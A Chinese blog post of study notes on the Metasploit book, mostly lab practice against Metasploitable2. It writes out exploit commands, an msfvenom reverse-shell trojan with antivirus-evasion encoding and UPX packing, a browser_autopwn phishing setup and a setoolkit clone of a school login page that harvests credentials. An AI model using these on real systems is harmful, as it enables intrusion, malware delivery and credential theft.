Metasploit魔鬼训练营笔记

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

内容可能比较老旧,仅为以后的学习工作提供思路

从大三开始真正热爱信息安全,可能入门也比较晚了,紧接着又准备考研,考完研又在狗论文,之前学的很多东西都已经忘差不多了,现在论文狗的差不多了,想重新拾起来这份热爱,就从这本《Metasploit魔鬼训练营》开始,当然,实践是最好的老师,但是这本书中的一些渗透环境我并没有找到,所以有很多不足的地方还望大佬指正。


一、什么是渗透测试

渗透测试 就是一种通过模拟恶意攻击者的技术与方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。

渗透测试的分类:
黑盒测试:对目标系统一无所知
白盒测试:对目标系统有所了解
灰盒测试:两者结合

渗透测试过程环节
1.前期交互阶段
2.情报搜集阶段 公开来源信息查询、Google Hacking 、社会工程学、网络踩点、扫描探测、被动监听、服务查询
3.威胁建模阶段 针对获取的信息进行威胁建模与攻击规划
4.漏洞分析阶段 挖洞
5.渗透攻击阶段
6.后渗透攻击阶段 寻找目标系统最具价值和尝试安全保护的信息和资产 找到对目标系统造成最重要业务影响的攻击途径
7.报告阶段
核心内容是找到目标系统中存在的安全漏洞(Vulnerbaility) 漏洞利用的程序就称为渗透代码(Exploit)
国内的安全漏洞信息库
CNNVD: 中国国家漏洞库(www.cnnvd.org.cn)
CNVD:中国国家信息安全漏洞共享平台(www.cnvd.org.cn)
乌云安全漏洞报告平台:(www.wooyun.org)
SCAP中文社区:(WWW.scap.org.cn)

国外安全漏洞信息库
CVE NVD SecurityFocus OSVDB
在这里插入图片描述
在这里插入图片描述

二、初识Metasploit

`书中所有的实验都是在Back Track5上进行的,我都移植到了kali2021,由于matasploit版本也不同,所以会有些区别

1.针对Metasploitable2上samba服务漏洞的小实验

目标 在目标主机上启动netcat(瑞士军刀)并绑定Shell到一个开放端口上
代码如下(示例):

漏洞简介
Samba是一个开源/免费软件套件,为SMB / CIFS客户提供无缝文件和打印服务。远程利用Samba中的输入验证漏洞允许攻击者访问指定共享路径之外的文件和目录。
漏洞利用条件
漏洞使用了samba软件套件,通常在445端口或者139端口。
影响版本
Samba版本 2.20a-3.0.2a
不包括3.0.72.2.12
经过检测,3.x版本都有可能存在该漏洞。
漏洞危害
攻击者漏洞利用此漏洞直接读取目标系统上的任意文件。

首先 针对主机快速扫描看是否开放samba服务 maf6> nmap -sV [IP]
search samba
在这里插入图片描述

use expolit/multi/samba/usermap_script
show payloads
在这里插入图片描述

set payload cmd/unix/bind_netcat
show options
在这里插入图片描述

set rhost ip
exploit

渗透靶机

由于我只能下载到metasploitable2 所以主要介绍对该靶机的一些渗透情况,如下图
在这里插入图片描述

信息收集

外围信息搜集------公开渠道信息搜集

手工扫描器 metsploit中的(Auxiliary Module)辅助模块工具

通过DNS和IP地址挖掘目标网络信息
whois查询 可以查到域名注册信息,包含域名所有者 服务商 管理员邮件地址 注册日期和过期日期等 可以直接通过MSF终端中使用whois命令进行查询

nslookup与dig域名查询
在这里插入图片描述
nslookup得到的信息并非权威解答 set type=A对其IP地址进行解析

    dig更为灵活,可以指定DNS解析服务器进行查询
    
    IP2Location     http://www.maxmind.com  可以查到经纬度,然后可以用谷歌地图具体查询  国内推荐"QQ纯真数据库"      http://www.cz88.net

    netcraft   域名穷举   http://searchdns.netcraft.com

    IP2Domain    反查域名 ip查域名信息    http://www.ip-address.com/reverse_ip/ (已经无效)

    SiteDigger进行内容搜索(Google Hacking)   http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx
    Search Diggity http://www.stachliu.com  都无效了....


    Google:   parent directory site:testfire.net        查找站点目录结构   特别留意几个扩展名:inc 可能包含网站配置信息,如数据库用户名/口令 ; bak  代码备份文件 ; txt, sql  包含网站运行的SQL脚本

类似工作可以借助Metasploit中的brute_dirs , dir_listing , dir_scanner等辅助模块来完成 , 如图:
在这里插入图片描述
一些网站在根目录中会有robots.txt 里面也会有惊喜

检索特定类型文件
site:testfire.net filetype:xls

搜索站中的E-mail地址
Metasploit中的辅助模块 search_email_collector 经测试 需要google引擎
use auxiliary/gather/search_email_collector
set DOMIN qq.com
run

搜索易存在SQL注入点的页面
google.com site:testfire.net inurl:login 后台登陆url

traceroute 对指定ip进行路由侦察

主机探测与端口扫描
主要的活跃主机发现模块路径:auxiliary/scaanner/discovery 包括:arp_sweep , ipv6_multicast_ping , ipv6_neighbor , ipv6_neighbor_router_advertisement , udp_probe , udp_sweep

arp扫描:
在这里插入图片描述
arp_sweep只能探测同一子网中的活跃主机,对于远程网络,可以使用更加强大的Nmap扫描器进行探测.

Nmap
如果仅是在一个内部网络,可以使用-sP参数通过使用ICMP的ping扫描来获取网络中存活的主机 ; 如果是在Internet环境中,推荐使用-Pn选项 因为ICMP数据包通常无法穿透Internet上的网络边界(防火墙过滤), 可以使用nmap-PU通过对开放的UDP端口进行探测以确定存活的主机 功能类似Metasploit中的udp_sweep辅助模块 如果想加快扫描速度,可以添加-sn参数不对开放的tcp端口进行扫描
在这里插入图片描述
扫描结果导出到文件 -oX dmz 扫描结束后再当前目录下生成名称dmz的扫描结果文件
识别详细信息-A
识别操作系统 -O
识别服务版本-sV
快速隐蔽的扫描-sS 指定使用TCP SYN扫描 不等待打开一个完全的TCP连接,所以速度更快而且不易被IDS设备记录

Metasploit中的端口扫描器

search portscan
在这里插入图片描述
在这里插入图片描述
一般情况下推荐使用syn端口扫描,速度快 结果准 不易被察觉

常见网络服务扫描
1.Telnet服务扫描 一般老版本的交换机,路由器,防火墙仍然在使用Telnet 可以扫描并爆破

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.19.0/24
RHOSTS => 192.168.19.0/24
msf6 auxiliary(scanner/telnet/telnet_version) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/telnet/telnet_version) > run

可以识别出主机名
2.SSH服务扫描

msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.19.0/24
RHOSTS => 192.168.19.0/24
msf6 auxiliary(scanner/telnet/telnet_version) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/telnet/telnet_version) > run

3.Oracle数据库服务查点

msf6 > use auxiliary/scanner/Oracle/tnslsnr_version
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.19.0/24
RHOSTS => 192.168.19.0/24
msf6 auxiliary(scanner/telnet/telnet_version) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/telnet/telnet_version) > run

4.开放代理探测与利用
Metasploit提供了open_proxy模块,能够让你更加方便的获取免费的HTTP代理服务器地址,获取后可以在浏览器或者一些支持配置代理的地方设置 以隐藏你的真实ip地址

sf6 auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/http/open_proxy
msf6 auxiliary(scanner/http/open_proxy) > show options


Module options (auxiliary/scanner/http/open_proxy):


   Name           Current Setting           Required  Description
   ----           ---------------           --------  -----------
   CHECKURL       http://www.google.com     yes       The web site to test via alleged web proxy
   MULTIPORTS     false                     no        Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          8080                      yes       The target port (TCP)
   SSL            false                     no        Negotiate SSL/TLS for outgoing connections
   THREADS        1                         yes       The number of concurrent threads (max one per host)
   VALIDCODES     200,302                   yes       Valid HTTP code for a successfully request
   VALIDPATTERN   <TITLE>302 Moved</TITLE>  yes       Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request
   VERIFYCONNECT  false                     no        Enable CONNECT HTTP method check
   VHOST                                    no        HTTP server virtual host


msf6 auxiliary(scanner/http/open_proxy) > set RHOSTS
[-] Unknown variable
Usage: set [option] [value]


Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.


If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.


If setting a PAYLOAD, this command can take an index from `show payloads'.


msf6 auxiliary(scanner/http/open_proxy) > set RHOSTS 24.25.24.1-24.25.26.254
RHOSTS => 24.25.24.1-24.25.26.254
msf6 auxiliary(scanner/http/open_proxy) > set MULTIPORTS true
MULTIPORTS => true
msf6 auxiliary(scanner/http/open_proxy) > set VERIFYCONNECT true
VERIFYCONNECT => true
msf6 auxiliary(scanner/http/open_proxy) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/http/open_proxy) > run

应该也需要翻墙, 因为设置的站点为google 具体进一步配置怎么处理还不太确定

口令猜测与嗅探

SSH爆破 需要字典
在这里插入图片描述
psnuffle口令嗅探
截获常见协议的身份认证过程 如FTP服务的明文登录口令

use auxiliary/sniffer/psnuffle
run

经测试仅支持明文口令嗅探

漏洞扫描——非必要不使用

OpenVAS漏洞扫描器 安装失败 可能需要更新源 或者翻墙 看着功能和Nessus差不多 Metasploit内可以载入openvas插件 但是也需要安装好才能连接你的openvas 所以这段跳过

漏扫会产生大量的网络数据包,可能造成目标网络瘫痪并且留下大量痕迹,因此不要把漏扫器当作救命稻草 , 使用有针对性的扫描工具更精准的查找漏洞
如:
Nmap的SMB服务漏洞扫描模块
(Nmap 6.49beta6开始smb-check-vulns.nse被拆分成了 smb-vuln-conficker、•smb-vuln-cve2009-3103、smb-vuln-ms06-025、smb-vuln-ms07-029、smb-vuln-regsvc-dos、smb-vuln-ms08-067这六个脚本。)
不确定用哪一个可以使用smb-vuln-.nse来全扫
nmap -P0 --script=smb-vuln-
.nse ipaddress
Nmap还有其他特定服务漏洞的扫描脚本 可以在/opt/metasploit/common/share/nmap/script中查找

扫描结果共享… 这部分先忽略 metasploit可以通过连接公共数据库的方式将渗透测试结果共享 有点像CS

Web应用渗透技术

metasploit中的web应用渗透模块: auxiliary目录下的HTTP协议的相关漏洞扫描(scanner/http) 还有对各种数据库的漏洞扫描 并且内置了wmap web扫描器,允许用户使用和配置Metasploit中的辅助模块对网站进行集中扫描

Wmap

第一次使用需要启动并初始化数据库
在这里插入图片描述
或者启动postgresql之后在msf控制台中连接
db_connect -y /usr/share/metasploit-framework/config/database.yml
然后 load wmap
在这里插入图片描述
添加扫描目标
wmap_sites -a http://baidu.com
查看添加的目标
wmap_sites -l
在这里插入图片描述
设定扫描目标
wmap_targets -t http://220.181.38.251 (只能是ip地址)
启动扫描
wmap_run -t //
在这里插入图片描述
查看扫描结果并攻击 wmap_run -e

查看漏洞
vulns
在这里插入图片描述

渗透模块

主要集中在exploit/unix/webapp exploit/windows/http exploit/multi/http等目录下
在这里插入图片描述
扫描神器W3AF 暴力破解 XSS SQL漏洞扫描 爬虫
kali不自带w3af 但是这些功能burp里都能实现

DVWA靶场环境 web常见攻击都能进行

由于目前从事的是工业信息安全的研究学习 web这一块我就先简写了
sqlmap 主流数据库注入都能进行 metasploit里已经集成 auxiliary/scanner/http/sqlmap 使用方法在其他的笔记里有 这里就不赘述了

一个新点 sqlmap可以通过数据库注入一个交互的shell
在这里插入图片描述

文件包含和文件上传漏洞

在Exploit-db数据库中查找相关web漏洞利用模块 将文件放入metasploit相关目录(/opt/framework/msf3/modules/exploits/multi/webapp) 【目录不对 还没去kali里找】将文件改名后缀改为rb 这样攻击模块就能导入metasploit中了 直接使用即可(use exploit/multi/browser/无后缀文件名)【使用目录也没验证】

内存攻击的根本原因:现代电子计算机在实现图灵模型时没有在内存中严格区分数据和指令,这就存在程序外部输入数据成为指令代码从而被执行的可能。

网络服务攻击

主要是缓冲区溢出

缓冲区溢出简介

覆盖函数返回地址
程序运行时,函数调用是常见的命令,当发生函数调用时,程序流程暂时转向被调用的函数处,执行完之后再跳回原来的位置,执行函数调用前需要保存下一条指令的地址,让程序在执行完函数调用后能够从这个指令地址处继续执行.一般使用一些跳转寄存器指令(JMP ESP)作为跳板,使程序能够执行到栈中的shellcode

覆盖异常处理结构利用方式
程序在运行过程中可能会发生一些异常,此时就需要正常指令序列之外的代码处理这些异常,windows提供结构化异常处理机制SEH,可以利用程序自定义的异常处理函数或者操作系统默认的处理函数处理异常.异常处理结构以链表形式存储在栈中,异常发生后遍历链表中的处理函数,若没有相应的处理函数通常弹出错误对话框,强制关闭程序.
利用方式就是通特定地址覆盖栈中的异常处理结构体中的异常处理函数指针,当触发异常后去加载篡改后的处理函数指针.

Metasploit社区也对工业控制系统的渗透攻击热点非常关注,目前在exploits/windows/scada目录中已经有针对十多款工业控制系统软件的二十多个渗透攻击模块.

实战案例——MS08-067安全漏洞

本次案例的攻击目标是windows sever 2003 Enterprise Edition SP0 英文版 由于没有靶机镜像 暂时不进行实验了
该漏洞是2008年爆出的通过MSRPC over SMB(微软远程过程调用 在 服务器消息块)通道调用Server服务程序中的函数触发的栈缓冲区内存错误漏洞 攻击445端口
由于本人技术水平有限,漏洞利用代码就不进行解读了,书中提供了多个案例分析,大致思路就是查看漏洞利用的脚本源码 出现错误的话手动调试 主要找接收字符串无限制处是否存在缓冲区溢出 然后找跳转地址 插入shellcode

缓冲区溢出这一部分由于没有实验环境,不能进行实操,但看书中过程并不能很好的进行理解,这一部分推荐去XCTF攻防大世界(https://adworld.xctf.org.cn/task)中的新手区进行一些练习,我个人也有在做,后续会分享一些解题思路Wp

linux系统服务渗透攻击实战案例——Samba安全漏洞

该安全漏洞存在于Samba网络服务程序在处理链式响应数据包时,无法使用一个有效偏移来构造数据包的下一部分,攻击者通过构造这个偏移来造成程序的内存错误,然后通过覆盖一个函数指针达到劫持控制流执行shellcode的目的.

紧跟实验步骤重复了几次没有攻击成功 细究发现该漏洞无法在3.0.x版本中利用,而我的metasploitable2中smaba版本刚好是3.0.20 白瞎
在这里插入图片描述
记录一下自己的收获

查看进程 ps -ef | grep smbd
调试进程 gdb --pid idnumber
set follow-fork-mode child
c
跟踪子进程 Linux下的服务程序一般采用主进程监听连接 接收到请求后创建子进程来应答的工作模式
查看寄存器地址: i r $eip
隐藏后门进程
ps
migrate pid

查找文件
find / -name httpd.conf #在根目录下查找文件httpd.conf,表示在整个硬盘查找
关闭地址随机化机制
echo 0>/proc/sys/kernel/randomize_va_space

客户端渗透攻击

构造机型数据发送给目标主机,用户在使用含有漏洞缺陷的客户端应用程序处理这些数据时,发生程序内部处理流程错误,执行了内嵌于数据中的恶意代码,从而导致被渗透入侵.

钓鱼连接

msf6 > search browser_autopwn
msf6 auxiliary(server/browser_autopwn) > set LHOST 192.168.19.128
LHOST => 192.168.19.128
msf6 auxiliary(server/browser_autopwn) > set SRVHOST 192.168.19.128
SRVHOST => 192.168.19.128
msf6 auxiliary(server/browser_autopwn) > set URIPATH auto
URIPATH => auto
msf6 auxiliary(server/browser_autopwn) > run

该模块能自动识别浏览器指纹信息 若存在安全漏洞 能够自动进行溢出攻击

制作木马并通过编码免杀,经测试没能绕过火绒和windows10自带的杀毒软件

 msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikita_ga_nai lhost=192.168.19.128 lport=12345 -f exe -o /root/shell.exe

将木马投放到目标主机之后创建监听,等待鱼儿上钩

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.19.128
lhost => 192.168.19.128
msf6 exploit(multi/handler) > set lport 12345
lport => 12345
msf6 exploit(multi/handler) > run

在这里插入图片描述
可以看到,接收到session了 但是又被杀了
纠正一个错误 在启用session时 是 sessions** -i number**

加壳免杀 UPX

root# upx -6 -o shells.exe shell.exe                                                                                                         1 ⨯
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020


        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     48128   65.21%    win32/pe     shells.exe                    


Packed 1 file.

但是还是没能逃得过火绒

社会工程攻击

黑客最强的技术,还得是社工

kali自带的社工工具包——Setoolkit

这里只介绍一个比较实用的,制作钓鱼网站,其他一系列强大的杀招自行去学习。

制作钓鱼网站

直接启动setoolkit,然后选择
Social-Engineering Attacks -> Website Attack Vectors -> Credential Harvester Attack Method(证书捕获方法) -> Site Cloner 输入要克隆的目标站点地址
然后会在本机的80端口创建好跟目标站点类似的网站,这里以我们学校教务管理系统为例
在这里插入图片描述
不知道为啥有点其貌不扬 差距有点点大
在这里插入图片描述
但确实捕获到了用户名密码

Shell is the only beginning

没错,这也仅仅是个开始,既然热爱,那就坚持下去。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值